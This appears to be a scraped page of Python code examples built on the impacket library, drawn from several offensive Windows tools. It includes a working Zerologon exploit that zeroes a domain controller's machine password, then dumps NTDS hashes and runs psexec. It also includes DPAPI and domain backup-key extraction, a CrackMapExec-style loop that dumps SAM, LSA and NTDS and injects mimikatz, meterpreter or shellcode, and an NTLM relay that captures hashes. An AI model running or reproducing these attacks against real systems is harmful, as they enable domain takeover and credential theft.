        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Ejemplo n.º 11
0
Archivo: dpapi.py Proyecto: crake7/CTF
    def run(self):
        if self.options.action.upper() == 'MASTERKEY':
            fp = open(options.file, 'rb')
            data = fp.read()
            mkf = MasterKeyFile(data)
            mkf.dump()
            data = data[len(mkf):]

            if mkf['MasterKeyLen'] > 0:
                mk = MasterKey(data[:mkf['MasterKeyLen']])
                data = data[len(mk):]

            if mkf['BackupKeyLen'] > 0:
                bkmk = MasterKey(data[:mkf['BackupKeyLen']])
                data = data[len(bkmk):]

            if mkf['CredHistLen'] > 0:
                ch = CredHist(data[:mkf['CredHistLen']])
                data = data[len(ch):]

            if mkf['DomainKeyLen'] > 0:
                dk = DomainKey(data[:mkf['DomainKeyLen']])
                data = data[len(dk):]

            if self.options.system and self.options.security:
                # We have hives, let's try to decrypt with them
                self.getLSA()
                decryptedKey = mk.decrypt(self.dpapiSystem['UserKey'])
                if decryptedKey:
                    print('Decrypted key with UserKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey'])
                if decryptedKey:
                    print('Decrypted key with MachineKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey'])
                if decryptedKey:
                    print('Decrypted Backup key with UserKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
                decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey'])
                if decryptedKey:
                    print('Decrypted Backup key with MachineKey')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return
            elif self.options.key:
                key = unhexlify(self.options.key[2:])
                decryptedKey = mk.decrypt(key)
                if decryptedKey:
                    print('Decrypted key with key provided')
                    print('Decrypted key: 0x%s' %
                          hexlify(decryptedKey).decode('latin-1'))
                    return

            elif self.options.pvk and dk:
                pvkfile = open(self.options.pvk, 'rb').read()
                key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):])
                private = privatekeyblob_to_pkcs1(key)
                cipher = PKCS1_v1_5.new(private)

                decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None)
                if decryptedKey:
                    domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(
                        decryptedKey)
                    key = domain_master_key[
                        'buffer'][:domain_master_key['cbMasterKey']]
                    print('Decrypted key with domain backup key provided')
                    print('Decrypted key: 0x%s' %
                          hexlify(key).decode('latin-1'))
                return

            elif self.options.sid and self.options.key is None:
                # Do we have a password?
                if self.options.password is None:
                    # Nope let's ask it
                    from getpass import getpass
                    password = getpass("Password:"******"Password:"******"G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"):
                buffer = crypto.decryptSecret(
                    connection.getSessionKey(),
                    lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
                                                  keyname))
                guid = bin_to_string(buffer)
                name = "G$BCKUPKEY_{}".format(guid)
                secret = crypto.decryptSecret(
                    connection.getSessionKey(),
                    lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
                                                  name))
                keyVersion = struct.unpack('<L', secret[:4])[0]
                if keyVersion == 1:  # legacy key
                    backup_key = P_BACKUP_KEY(secret)
                    backupkey = backup_key['Data']
                    if self.options.export:
                        logging.debug(
                            "Exporting key to file {}".format(name + ".key"))
                        open(name + ".key", 'wb').write(backupkey)
                    else:
                        print("Legacy key:")
                        print("0x%s" % hexlify(backupkey))
                        print("\n")

                elif keyVersion == 2:  # preferred key
                    backup_key = PREFERRED_BACKUP_KEY(secret)
                    pvk = backup_key['Data'][:backup_key['KeyLength']]
                    cert = backup_key['Data'][
                        backup_key['KeyLength']:backup_key['KeyLength'] +
                        backup_key['CertificateLength']]

                    # build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk)
                    header = PVK_FILE_HDR()
                    header['dwMagic'] = 0xb0b5f11e
                    header['dwVersion'] = 0
                    header['dwKeySpec'] = 1
                    header['dwEncryptType'] = 0
                    header['cbEncryptData'] = 0
                    header['cbPvk'] = backup_key['KeyLength']
                    backupkey_pvk = header.getData() + pvk  # pvk blob

                    backupkey = backupkey_pvk
                    if self.options.export:
                        logging.debug(
                            "Exporting certificate to file {}".format(name +
                                                                      ".der"))
                        open(name + ".der", 'wb').write(cert)
                        logging.debug(
                            "Exporting private key to file {}".format(name +
                                                                      ".pvk"))
                        open(name + ".pvk", 'wb').write(backupkey)
                    else:
                        print("Preferred key:")
                        header.dump()
                        print("PRIVATEKEYBLOB:{%s}" % (hexlify(backupkey)))
                        print("\n")
            return

        elif self.options.action.upper() == 'CREDENTIAL':
            fp = open(options.file, 'rb')
            data = fp.read()
            cred = CredentialFile(data)
            blob = DPAPI_BLOB(cred['Data'])

            if self.options.key is not None:
                key = unhexlify(self.options.key[2:])
                decrypted = blob.decrypt(key)
                if decrypted is not None:
                    creds = CREDENTIAL_BLOB(decrypted)
                    creds.dump()
                    return
            else:
                # Just print the data
                blob.dump()

        elif self.options.action.upper() == 'VAULT':
            if options.vcrd is None and options.vpol is None:
                print(
                    'You must specify either -vcrd or -vpol parameter. Type --help for more info'
                )
                return
            if options.vcrd is not None:
                fp = open(options.vcrd, 'rb')
                data = fp.read()
                blob = VAULT_VCRD(data)

                if self.options.key is not None:
                    key = unhexlify(self.options.key[2:])

                    cleartext = None
                    for i, entry in enumerate(blob.attributesLen):
                        if entry > 28:
                            attribute = blob.attributes[i]
                            if 'IV' in attribute.fields and len(
                                    attribute['IV']) == 16:
                                cipher = AES.new(key,
                                                 AES.MODE_CBC,
                                                 iv=attribute['IV'])
                            else:
                                cipher = AES.new(key, AES.MODE_CBC)
                            cleartext = cipher.decrypt(attribute['Data'])

                    if cleartext is not None:
                        # Lookup schema Friendly Name and print if we find one
                        if blob['FriendlyName'].decode(
                                'utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:
                            # Found one. Cast it and print
                            vault = VAULT_KNOWN_SCHEMAS[
                                blob['FriendlyName'].decode('utf-16le')[:-1]](
                                    cleartext)
                            vault.dump()
                        else:
                            # otherwise
                            hexdump(cleartext)
                        return
                else:
                    blob.dump()

            elif options.vpol is not None:
                fp = open(options.vpol, 'rb')
                data = fp.read()
                vpol = VAULT_VPOL(data)
                vpol.dump()

                if self.options.key is not None:
                    key = unhexlify(self.options.key[2:])
                    blob = vpol['Blob']
                    data = blob.decrypt(key)
                    if data is not None:
                        keys = VAULT_VPOL_KEYS(data)
                        keys.dump()
                        return

        print('Cannot decrypt (specify -key or -sid whenever applicable) ')
Ejemplo n.º 12
0
    def _get_groupsxml(self, groupsxml_path, gpo_display_name):
        gpo_groups = list()

        content_io = BytesIO()

        groupsxml_path_split = groupsxml_path.split('\\')
        gpo_name = groupsxml_path_split[6]
        target = self._domain_controller
        share = groupsxml_path_split[3]
        file_name = '\\'.join(groupsxml_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        if self._do_kerberos:
            smb_connection.kerberosLogin(self._user, self._password,
                                         self._domain, self._lmhash,
                                         self._nthash)
        else:
            smb_connection.login(self._user, self._password, self._domain,
                                 self._lmhash, self._nthash)

        self._logger.debug('Get File: Share = {0}, file_name ={1}'.format(
            share, file_name))
        smb_connection.connectTree(share)
        try:
            smb_connection.getFile(share, file_name, content_io.write)
        except SessionError:
            self._logger.warning(
                'Error while getting the file {}, skipping...'.format(
                    file_name))
            return list()

        content = content_io.getvalue().replace(b'\r', b'')
        groupsxml_soup = BeautifulSoup(content.decode('utf-8'), 'xml')
        for group in groupsxml_soup.find_all('Group'):
            members = list()
            memberof = list()

            raw_xml_member = group.Properties.find_all('Member')
            if not raw_xml_member:
                continue

            local_sid = group.Properties.get('groupSid', str())

            if not local_sid:
                if 'administrators' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-544'
                elif 'remote desktop' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-555'
                else:
                    local_sid = group.Properties['groupName']
            memberof.append(local_sid)

            for member in raw_xml_member:
                if not member['action'].lower() == 'add':
                    continue
                if member['sid']:
                    members.append(member['sid'])
                else:
                    members.append(member['name'])

            if members or memberof:
                # TODO: implement filter support (seems like a pain in the ass,
                # I'll do it if the feature is asked). PowerView also seems to
                # have the barest support for filters, so ¯\_(ツ)_/¯

                gpo_group = GPOGroup(list())
                gpo_group._attributes_dict['gpodisplayname'] = gpo_display_name
                gpo_group._attributes_dict['gponame'] = gpo_name
                gpo_group._attributes_dict['gpopath'] = groupsxml_path
                gpo_group._attributes_dict['members'] = members
                gpo_group._attributes_dict['memberof'] = memberof

                gpo_groups.append(gpo_group)

        return gpo_groups
Ejemplo n.º 13
0
    def check(self, remote_names):
        # Validate credentials first
        if not self.creds_validated:
            self.validate_creds(remote_names[0])
            self.creds_validated = True

        # CVE-2020-1472 scan is continuous
        if self.__vuln == "CVE-2020-1472":
            while True:
                for remote_host in remote_names:
                    if verify_kerberos_password(
                            remote_host.split(".")[0] + "$", "",
                            ".".join(remote_host.split(".")[1:]), remote_host):
                        logging.info(
                            'Target %s was exploited for CVE-2020-1472!',
                            remote_host)
                    else:
                        logging.info('Target %s was not exploited',
                                     remote_host)
                    time.sleep(1)

        # Now start scanner
        for remote_host in remote_names:
            try:
                smbClient = SMBConnection(
                    remote_host, remote_host, sess_port=int(
                        self.__port))  #, preferredDialect=SMB2_DIALECT_21
            except:
                return
            try:
                # Both cve-2019-1019 and cve-2019-1040 were part of the same KB and can be checked
                # by using cve-2019-1040 can logic
                if self.__vuln in ["CVE-2019-1019", "CVE-2019-1040"]:
                    ntlm.computeResponseNTLMv2 = mod_cve20191040_computeResponseNTLMv2
                if self.__vuln == "CVE-2019-1166":
                    ntlm.computeResponseNTLMv2 = mod_cve20191166_computeResponseNTLMv2
                if self.__vuln == "CVE-2019-1338":
                    ntlm.computeResponseNTLMv2 = mod_cve20191338_computeResponseNTLMv2
                smbClient.login(self.__username, self.__password,
                                self.__domain, self.__lmhash, self.__nthash)
                logging.info(
                    'Target %s is VULNERABLE to %s (authentication was accepted)',
                    remote_host, self.__vuln)
            except SessionError as exc:
                if 'STATUS_INVALID_PARAMETER' in str(exc) and self.__vuln in [
                        "CVE-2019-1019", "CVE-2019-1040", "CVE-2019-1166"
                ]:
                    logging.info(
                        'Target %s is not vulnerable to %s (authentication was rejected)',
                        remote_host, self.__vuln)
                elif 'STATUS_LOGON_FAILURE' in str(
                        exc) and self.__vuln == "CVE-2019-1338":
                    logging.info(
                        'Target %s is not vulnerable to %s (authentication was rejected)',
                        remote_host, self.__vuln)
                else:
                    logging.warning(
                        'Unexpected Exception while authenticating to %s: %s',
                        remote_host, exc)

            smbClient.close()
Ejemplo n.º 14
0
def main_greenlet(host):

    try:
        smb = SMBConnection(host, host, None, settings.args.port)
        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]
        try:
            smb.login('', '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        cme_logger = CMEAdapter(
            logging.getLogger('CME'), {
                'host': host,
                'hostname': s_name,
                'port': settings.args.port,
                'service': 'SMB'
            })

        cme_logger.info(u"{} (name:{}) (domain:{})".format(
            smb.getServerOS(), s_name, domain))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if settings.args.mssql:
            cme_logger = CMEAdapter(
                logging.getLogger('CME'), {
                    'host': host,
                    'hostname': s_name,
                    'port': settings.args.mssql_port,
                    'service': 'MSSQL'
                })

            #try:
            ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(5)
            cme_logger.info("Found {} MSSQL instance(s)".format(
                len(instances)))
            for i, instance in enumerate(instances):
                cme_logger.results("Instance {}".format(i))
                for key in instance.keys():
                    cme_logger.results(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

            #except socket.error as e:
            #    if settings.args.verbose: mssql_cme_logger.error(str(e))

        if (settings.args.user and
            (settings.args.passwd
             or settings.args.hash)) or settings.args.combo_file:

            ms_sql = None
            smb = None

            if settings.args.mssql:
                ms_sql = tds.MSSQL(host, int(settings.args.mssql_port),
                                   cme_logger)
                ms_sql.connect()
                ms_sql, user, passwd, ntlm_hash, domain = smart_login(
                    host, domain, ms_sql, cme_logger)
                sql_shell = SQLSHELL(ms_sql, cme_logger)
            else:
                smb = SMBConnection(host, host, None, settings.args.port)
                smb, user, passwd, ntlm_hash, domain = smart_login(
                    host, domain, smb, cme_logger)

            if ms_sql:
                connection = ms_sql
                if settings.args.mssql_query:
                    sql_shell.onecmd(settings.args.mssql_query)

            if smb:
                connection = smb
                if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                    rfs = RemoteFileSystem(host, smb, cme_logger)
                    if settings.args.delete:
                        rfs.delete()
                    if settings.args.download:
                        rfs.download()
                    if settings.args.upload:
                        rfs.upload()
                    if settings.args.list:
                        rfs.list()

                if settings.args.enum_shares:
                    shares = SHAREDUMP(smb, cme_logger)
                    shares.dump(host)

                if settings.args.enum_users:
                    users = SAMRDump(cme_logger,
                                     '{}/SMB'.format(settings.args.port), user,
                                     passwd, domain, ntlm_hash,
                                     settings.args.aesKey, settings.args.kerb)
                    users.dump(host)

                if settings.args.sam or settings.args.lsa or settings.args.ntds:
                    dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host),
                                         smb, settings.args.kerb)

                    dumper.do_remote_ops()
                    if settings.args.sam:
                        dumper.dump_SAM()
                    if settings.args.lsa:
                        dumper.dump_LSA()
                    if settings.args.ntds:
                        dumper.dump_NTDS(settings.args.ntds,
                                         settings.args.ntds_history,
                                         settings.args.ntds_pwdLastSet)
                    dumper.cleanup()

                if settings.args.pass_pol:
                    pass_pol = PassPolDump(cme_logger,
                                           '{}/SMB'.format(settings.args.port),
                                           user, passwd, domain, ntlm_hash,
                                           settings.args.aesKey,
                                           settings.args.kerb)
                    pass_pol.dump(host)

                if settings.args.rid_brute:
                    lookup = LSALookupSid(cme_logger, user, passwd, domain,
                                          '{}/SMB'.format(settings.args.port),
                                          ntlm_hash, settings.args.rid_brute)
                    lookup.dump(host)

                if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                    rpc_query = RPCQUERY(cme_logger, user, passwd, domain,
                                         ntlm_hash)

                    if settings.args.enum_sessions:
                        rpc_query.enum_sessions(host)
                    if settings.args.enum_disks:
                        rpc_query.enum_disks(host)
                    if settings.args.enum_lusers:
                        rpc_query.enum_lusers(host)

                if settings.args.spider:
                    smb_spider = SMBSPIDER(cme_logger, host, smb)
                    smb_spider.spider(settings.args.spider,
                                      settings.args.depth)
                    smb_spider.finish()

                if settings.args.wmi_query:
                    wmi_query = WMIQUERY(cme_logger, user, domain, passwd,
                                         ntlm_hash, settings.args.kerb,
                                         settings.args.aesKey)

                    wmi_query.run(settings.args.wmi_query, host,
                                  settings.args.namespace)

                if settings.args.check_uac:
                    uac = UACdump(cme_logger, smb, settings.args.kerb)
                    uac.run()

                if settings.args.enable_wdigest or settings.args.disable_wdigest:
                    wdigest = WdisgestEnable(cme_logger, smb,
                                             settings.args.kerb)
                    if settings.args.enable_wdigest:
                        wdigest.enable()
                    elif settings.args.disable_wdigest:
                        wdigest.disable()

                if settings.args.service:
                    service_control = SVCCTL(
                        cme_logger, user, passwd, domain,
                        '{}/SMB'.format(settings.args.port),
                        settings.args.service, settings.args.aesKey,
                        settings.args.kerb, ntlm_hash, settings.args)
                    service_control.run(host)

            if settings.args.command:
                EXECUTOR(cme_logger, settings.args.command, host, domain,
                         settings.args.no_output, connection,
                         settings.args.execm, user, passwd, ntlm_hash)

            if settings.args.pscommand:
                EXECUTOR(
                    cme_logger,
                    ps_command(settings.args.pscommand, settings.args.ps_arch),
                    host, domain, settings.args.no_output, connection,
                    settings.args.execm, user, passwd, ntlm_hash)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain,
                         True, connection, settings.args.execm, user, passwd,
                         ntlm_hash)

            if settings.args.gpp_passwords:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.gpp_passwords(), host,
                         domain, True, connection, settings.args.execm, user,
                         passwd, ntlm_hash)

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger,
                         powah_command.mimikatz(settings.args.mimikatz_cmd),
                         host, domain, True, connection, settings.args.execm,
                         user, passwd, ntlm_hash)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger,
                         powah_command.powerview(settings.args.powerview),
                         host, domain, True, connection, 'smbexec', user,
                         passwd, ntlm_hash)

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(cme_logger, powah_command.inject_meterpreter(),
                             host, domain, True, connection,
                             settings.args.execm, user, passwd, ntlm_hash)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(cme_logger, powah_command.inject_shellcode(),
                             host, domain, True, connection,
                             settings.args.execm, user, passwd, ntlm_hash)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host,
                             domain, True, connection, settings.args.execm,
                             user, passwd, ntlm_hash)

        try:
            smb.logoff()
        except:
            pass

        try:
            ms_sql.disconnect()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port,
                                                     e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port,
                                                    e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Ejemplo n.º 15
0
    def get_session(self,
                    address,
                    target_ip="",
                    port=445,
                    username="",
                    password="",
                    lmhash="",
                    nthash="",
                    domain="",
                    aesKey="",
                    dc_ip="",
                    kerberos=False,
                    timeout=5):
        """
        Login on remote host
        :param address: Remote host
        :param target_ip: Remote host IP address
        :param port: Remote port
        :param username: Username
        :param password: Password
        :param lmhash: LM Hash
        :param nthash: NT Hash
        :param domain: Domain
        :param aesKey: AES Key
        :param dc_ip: Domain Controller IP address
        :param kerberos: Use kerberos
        :return: SMB Session
        """
        try:
            self.smb_session = SMBConnection(address,
                                             target_ip,
                                             None,
                                             sess_port=port,
                                             timeout=timeout)
        except Exception:
            logging.warning("Network error", exc_info=True)
            self.smb_session = None
            return None

        try:
            if kerberos is True:
                self.smb_session.kerberosLogin(username, password, domain,
                                               lmhash, nthash, aesKey, dc_ip)
            else:
                self.smb_session.login(username, password, domain, lmhash,
                                       nthash)
            logging.info("SMB session opened")
        except Exception as e:
            if "KDC_ERR_S_PRINCIPAL_UNKNOWN" in str(e):
                logging.error(
                    "Connexion error (Use FQDN for kerberos authentication)",
                    exc_info=True)
            else:
                logging.warning("Connexion error", exc_info=True)
            self.smb_session = None
            return None

        try:
            self.smb_session.connectTree("C$")
        except Exception:
            if username:
                logging.error(
                    "User '{}' can not access admin shares on {}".format(
                        username, address))
            else:
                logging.error(
                    "Can not access admin shares on {}".format(address))
            self.smb_session = None
            return None

        self.address = address
        self.target_ip = target_ip
        self.port = port
        self.username = username
        self.password = password
        self.lmhash = lmhash
        self.nthash = nthash
        self.domain = domain
        self.aesKey = aesKey
        self.dc_ip = dc_ip
        self.kerberos = kerberos
        self.timeout = timeout

        logging.success("Authentication successful")
        return True
Ejemplo n.º 16
0
def perform_attack(options):
    # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
    print('Performing authentication attempts...')
    rpc_con = None
    conn = SMBConnection(options.target, options.target, None, options.port)
    conn.login('', '')
    dc_handle = f"\\\\{conn.getServerName()}"
    target_computer = conn.getServerName()
    dc_ip = options.target

    print(dc_ip)
    print(target_computer)
    for attempt in range(0, MAX_ATTEMPTS):
        rpc_con, serverChallenge = try_zero_authenticate(
            dc_handle, dc_ip, target_computer)
        if rpc_con == None:
            print('=', end='', flush=True)
        else:
            break
    if rpc_con:
        print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
        plaintext = b'\x00' * 8
        sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext,
                                                     serverChallenge, None)
        ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey)
        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
        print()
        blah = nrpc.hNetrServerPasswordSet2(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00',
            update_authenticator(clientStoredCredential, sessionKey,
                                 0), b'\x00' * 516)
        blah.dump()
        #    stringbinding = epm.hept_map(options.target, lsat.MSRPC_UUID_LSAT, protocol="ncacn_ip_tcp")
        #    rpc_con = transport.DCERPCTransportFactory(stringbinding).get_dce_rpc()
        #    rpc_con.connect()
        #    rpc_con.bind(lsat.MSRPC_UUID_LSAT)
        #    resp = lsad.hLsarOpenPolicy2(rpc_con, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
        #    sid = lsad.hLsarQueryInformationPolicy2(rpc_con, resp['PolicyHandle'], lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)['PolicyInformation']['PolicyPrimaryDomainInfo']['Sid'].formatCanonical()
        #    print(sid)
        if options.silver:
            exit()
        import secretsdump, psexec

        class SDOptions:
            def __init__(self):
                self.use_vss = False
                self.target_ip = dc_ip
                self.outputfile = '/tmp/dumped.tmp'
                self.hashes = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"
                self.exec_method = "smbexec"
                self.just_dc = True
                self.just_dc_ntlm = True
                self.just_dc_user = options.target_da
                self.pwd_last_set = self.user_status = self.resumefile = \
                self.k = self.history = self.ntds = self.sam = self.security = \
                self.system = self.aesKey = self.bootkey = None
                self.dc_ip = dc_ip

        class PSOptions:
            def __init__(self):
                self.help = Falses


#    h = SMBConnection(options.target, options.target, None, options.port)
#    if options.target_machine:
#        h.login(options.target_machine + "$", '')
#    else:
#        h.login(target_computer + '$', '')

        secretsdump.DumpSecrets(dc_ip, target_computer + '$', '', '',
                                SDOptions()).dump()

        f = open("/tmp/dumped.tmp.ntds").read()
        #    print(f)
        hashes = ':'.join(f.split(':')[2:-3])
        print(hashes)
        psexec = psexec.PSEXEC(
            'powershell.exe -c Reset-ComputerMachinePassword',
            None,
            None,
            None,
            hashes=hashes,
            username=options.target_da,
            serviceName='f****d')
        psexec.run(options.target, dc_ip)
    else:
        print('\nAttack failed. Target is probably patched.')
        sys.exit(1)
Ejemplo n.º 17
0
    def SmbSessionSetup(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus = False)

        respSMBCommand = smb3.SMB2SessionSetup_Response()
        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

        connData['Capabilities'] = sessionSetupData['Capabilities']

        securityBlob = sessionSetupData['Buffer']

        rawNTLM = False
        if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID:
           # NEGOTIATE packet
           blob =  SPNEGO_NegTokenInit(securityBlob)
           token = blob['MechToken']
           if len(blob['MechTypes'][0]) > 0:
               # Is this GSSAPI NTLM or something else we don't support?
               mechType = blob['MechTypes'][0]
               if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
                               mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
                   # Nope, do we know it?
                   if mechType in MechTypes:
                       mechStr = MechTypes[mechType]
                   else:
                       mechStr = hexlify(mechType)
                   smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
                   # We don't know the token, we answer back again saying
                   # we just support NTLM.
                   # ToDo: Build this into a SPNEGO_NegTokenResp()
                   respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
                   respSMBCommand['SecurityBufferOffset'] = 0x48
                   respSMBCommand['SecurityBufferLength'] = len(respToken)
                   respSMBCommand['Buffer'] = respToken

                   return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
        elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
           # AUTH packet
           blob = SPNEGO_NegTokenResp(securityBlob)
           token = blob['ResponseToken']
        else:
           # No GSSAPI stuff, raw NTLMSSP
           rawNTLM = True
           token = securityBlob

        # Here we only handle NTLMSSP, depending on what stage of the
        # authentication we are, we act on it
        messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

        if messageType == 0x01:
            # NEGOTIATE_MESSAGE
            negotiateMessage = ntlm.NTLMAuthNegotiate()
            negotiateMessage.fromString(token)
            # Let's store it in the connection data
            connData['NEGOTIATE_MESSAGE'] = negotiateMessage

            #############################################################
            # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
            # Let's send it to the target server and send the answer back to the client.
            client = connData['SMBClient']
            try:
                challengeMessage = self.do_ntlm_negotiate(client, token)
            except Exception as e:
                LOG.debug("Exception:", exc_info=True)
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                # Raise exception again to pass it on to the SMB server
                raise

             #############################################################

            if rawNTLM is False:
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = b'\x01'
                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = challengeMessage.getData()
            else:
                respToken = challengeMessage

            # Setting the packet to STATUS_MORE_PROCESSING
            errorCode = STATUS_MORE_PROCESSING_REQUIRED
            # Let's set up an UID for this connection and store it
            # in the connection's data
            connData['Uid'] = random.randint(1,0xffffffff)

            connData['CHALLENGE_MESSAGE'] = challengeMessage

        elif messageType == 0x02:
            # CHALLENGE_MESSAGE
            raise Exception('Challenge Message raise, not implemented!')

        elif messageType == 0x03:
            # AUTHENTICATE_MESSAGE, here we deal with authentication
            #############################################################
            # SMBRelay: Ok, so now the have the Auth token, let's send it
            # back to the target system and hope for the best.
            client = connData['SMBClient']
            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
            authenticateMessage.fromString(token)
            if authenticateMessage['user_name'] != '':
                # For some attacks it is important to know the authenticated username, so we store it

                self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
                                            authenticateMessage['user_name'].decode('utf-16le'))).upper()

                if rawNTLM is True:
                    respToken2 = SPNEGO_NegTokenResp()
                    respToken2['ResponseToken'] = securityBlob
                    securityBlob = respToken2.getData()

                if self.config.remove_mic:
                    from impacket.smbconnection import SMBConnection
                    d1 = 315
                    d2 = 5
                    print('[GPOTATO] WAITING %s SECONDS FOR CHALLENGE TIMEOUT' % (d1))
                    time.sleep(d1)
                    print('[GPOTATO] FLUSHING CHALLENGE CACHE NOW')
                    try:
                        tempSmbConAddress = self.target.netloc.split(':')[0]
                        tempSmbCon = SMBConnection(tempSmbConAddress, tempSmbConAddress)
                        tempSmbCon.login('MADCOW', 'MADCOW', 'MADCOW')
                        tempSmbCon.close()
                    except Exception as e:
                        print('[GPOTATO] DONE: %s' % str(e))
                    print('[GPOTATO] WAITING ADDITIONAL %s SECONDS' % (d2))
                    time.sleep(d2)
                    print('[GPOTATO] AUTHENTICATING...')
                    clientResponse, errorCode = self.do_ntlm_auth(client, token,
                                                                  connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
                                                                  connData['CHALLENGE_MESSAGE']['challenge'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
                authenticateMessage['user_name'].decode('utf-16le')))
                client.killConnection()
            else:
                # We have a session, create a thread and do whatever we want
                LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                    self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
                    authenticateMessage['user_name'].decode('utf-16le')))
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True, self.authUser)

                ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
                                                    authenticateMessage['user_name'],
                                                    authenticateMessage['domain_name'], authenticateMessage['lanman'],
                                                    authenticateMessage['ntlm'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

